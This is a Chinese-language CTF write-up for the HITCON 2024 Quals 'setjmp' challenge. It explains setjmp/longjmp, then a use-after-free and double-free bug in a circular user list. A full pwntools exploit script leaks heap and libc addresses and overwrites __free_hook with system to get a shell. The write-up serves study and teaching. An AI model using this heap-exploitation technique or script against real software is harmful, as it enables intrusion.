HITCON-CTF-2024-Quals-setjmp
文章目录
- 检查
- _setjmp 和 longjmp
- _setjmp 和 longjmp 函数简介
- _setjmp 函数
- longjmp 函数
- 示例
- 实例
- 逆向
- 相关参考
- 思路
- double free->泄露libc
- exp
检查
_setjmp 和 longjmp
setjmp和longjmp是C语言中用于实现非局部跳转(non-local jump)的函数,它们允许程序的控制流程跨越函数调用边界,从一个指定的位置跳转到另一个先前记录的位置。这与常规的函数调用和返回机制不同,常规机制只能在函数内部进行控制流的转移。
_setjmp 和 longjmp 函数简介
setjmp函数用于设置一个返回点,而longjmp函数则用于从程序的任何位置跳回到setjmp所设置的返回点。
_setjmp 函数
_setjmp函数(在C++中通常称为setjmp)的原型如下:
int _setjmp(jmp_buf env);
env是一个jmp_buf类型的数组,用于保存当前执行环境的信息,包括寄存器的值和程序计数器等。_setjmp函数返回0,如果这是第一次调用_setjmp;如果longjmp调用到了这个env,则_setjmp返回非零值。
longjmp 函数
longjmp函数的原型如下:
void longjmp(jmp_buf env, int val);
longjmp函数用于从当前的执行位置跳转回由env标识的setjmp点。val是传递给setjmp的返回值,通常用来指示跳转的原因。
示例
下面是一个使用_setjmp和longjmp的例子:
#include #include jmp_buf jmpbuf; void my_function() { printf("Inside my_function\n"); // 模拟一个错误条件 if (1) { longjmp(jmpbuf, 1); // 发生错误,跳回到setjmp点 } } int main() { int ret; printf("Before setjmp\n"); ret = _setjmp(jmpbuf); // 设置返回点 if (ret == 0) { printf("First call to setjmp\n"); my_function(); // 调用可能抛出longjmp的函数 } else { printf("Caught an error, ret=%d\n", ret); } printf("After possible longjmp\n"); return 0; }
在这个例子中,main函数首先调用_setjmp来设置一个返回点。如果my_function检测到错误条件,它会调用longjmp,这将使控制流立即返回到_setjmp调用的位置,跳过my_function的后续代码。main函数中的else分支将在longjmp之后执行,处理错误情况。
需要注意的是,longjmp和setjmp的使用应当谨慎,因为它们可能会破坏程序的状态,例如,跳过资源释放代码或导致线程安全问题。通常,异常处理机制如C++的try/catch或更高级的错误处理方法是更可取的替代方案。
实例
当你在C程序中调用longjmp()函数时,它会将程序控制权立即转移到与传入jmp_buf关联的setjmp()调用点。在这个情况下,longjmp(main_begin_jmp_buf, 1);将导致程序的控制流跳回到_setjmp(main_begin_jmp_buf);所在的点。
具体来说,在你的代码片段中,longjmp(main_begin_jmp_buf, 1);会使得程序执行从longjmp调用点跳转回_setjmp(main_begin_jmp_buf);这一行之后的第一条指令。也就是说,如果_setjmp(main_begin_jmp_buf);之后紧接着是:
if ( _setjmp(main_begin_jmp_buf) ) { v3 = time(0LL); printf("restart at %ld\n", v3); }
那么longjmp(main_begin_jmp_buf, 1);执行后,程序会从if ( _setjmp(main_begin_jmp_buf) )这一行开始继续执行,但这一次_setjmp()不再返回0,而是返回了longjmp()传递的值(在这种情况下是1)。因此,if语句的条件为真,程序将执行v3 = time(0LL);和printf("restart at %ld\n", v3);这两行代码。
简而言之,longjmp(main_begin_jmp_buf, 1);会使程序跳转到_setjmp(main_begin_jmp_buf);之后的代码段,并从那里继续执行,且_setjmp()的返回值将为1,这将触发if语句中的代码块。
逆向
相关参考
https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.17_pwn_secconctf2016_jmper
https://darkwing.moe/2019/09/24/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B024-%E5%85%B6%E4%BB%96%E4%B8%80%E4%BA%9B%E6%8A%80%E6%9C%AF/
思路
非常感谢Eurus师傅提供的帮助
反编译有问题,这里new_user后,root_chunk会改变
这里实现了循环双向链表,大致就是创建用户会在链表尾部插入,然后更新root_chunk,find会根据name来检索循环链表,最后直到下一个与开始的节点相同就停止
漏洞点在于free掉当前root_chunk后不会改变root_chunk的值,find依然会按照原来的root_chunk来寻找,进而new,dele,change都会有影响
fastbin是个无底洞,塞不到unsortedbin中去。下面代码得证
#include int main() { char*a[30]; for(int i=1;i a[i]=malloc(0x20); } for(int i=1;i free( a[i]); } }
p由于泄露heap地址,所以free root后虽然改变name,但依然可以修改passwd,正是tcache的字段用来判断double free(先判断e-key == tcache,然后遍历idx对应的tcache,然后看看有没有地址相同),然后利用double free造成任意堆地址分配,进而分配到某个堆的头部作为data部分然后passwd正好是size部分修改size,然后free掉从而进入unsortedbin,为了保证引起检查错误,所以要分配一堆0x30的chunk来满足chunk_extend/p p然后再利用double free改free_hook就行/p h2double free->泄露libc分配到堆头部分,改堆头size,free后进入unsortedbin可泄露
exp
from pwn import * context.log_level='debug' context.os='linux' context.arch='amd64' def restart(): p.sendlineafter(b'> ',b'1') def add(name,passwd): p.sendlineafter(b'> ',b'2') p.sendafter(b'username > ',name) p.sendafter(b'password > ',passwd) def delete(name): p.sendlineafter(b'> ',b'3') p.sendafter(b'username > ',name) def edit(name,passwd): p.sendlineafter(b'> ',b'4') p.sendafter(b'username > ',name) p.sendafter(b'password > ',passwd) def show(): p.sendlineafter(b'> ',b'5') p=process("./run") add(b"2",b"2") delete(b"2") delete(b"root") add(b"1",b"1") # cover part heap address show() heap=u64( (p.recv(6)).ljust(8,b"\x00"))-0x531 print("heap",hex(heap)) add(b"2",b"2") add(b"3",b"3") # then need heap address to find the chunk to edit # 0x420 for i in range(21): add(b"extend",b"extend") delete(b"2") delete(b"3") # else can't find restart() # root_chunk change 3 delete(b"root") edit(p64(heap+0x540),b"0") delete(p64(heap+0x540)) add(p64(heap+0x560),p64(0)) add(p64(heap+0x560),b"unuse") add(p64(0),p64(0x421)) delete(p64(heap+0x570)) # new user will change 16 24 restart() # enconvinent to layout add(b"1",b"1") show() leak=u64( (p.recv(6)).ljust(8,b"\x00")) libc=leak-0x1ecb31 delete(p64(leak)) gdb.attach(p) pause() delete(b"root") edit(p64(heap+0x740),p64(0)) delete(p64(heap+0x740)) add(p64(libc+0x1eee48-8),p64(0)) add(b"nouse",b"nouse") add(b"/bin/sh\x00",p64(libc+0x52290)) delete(b"/bin/sh\x00") p.interactive()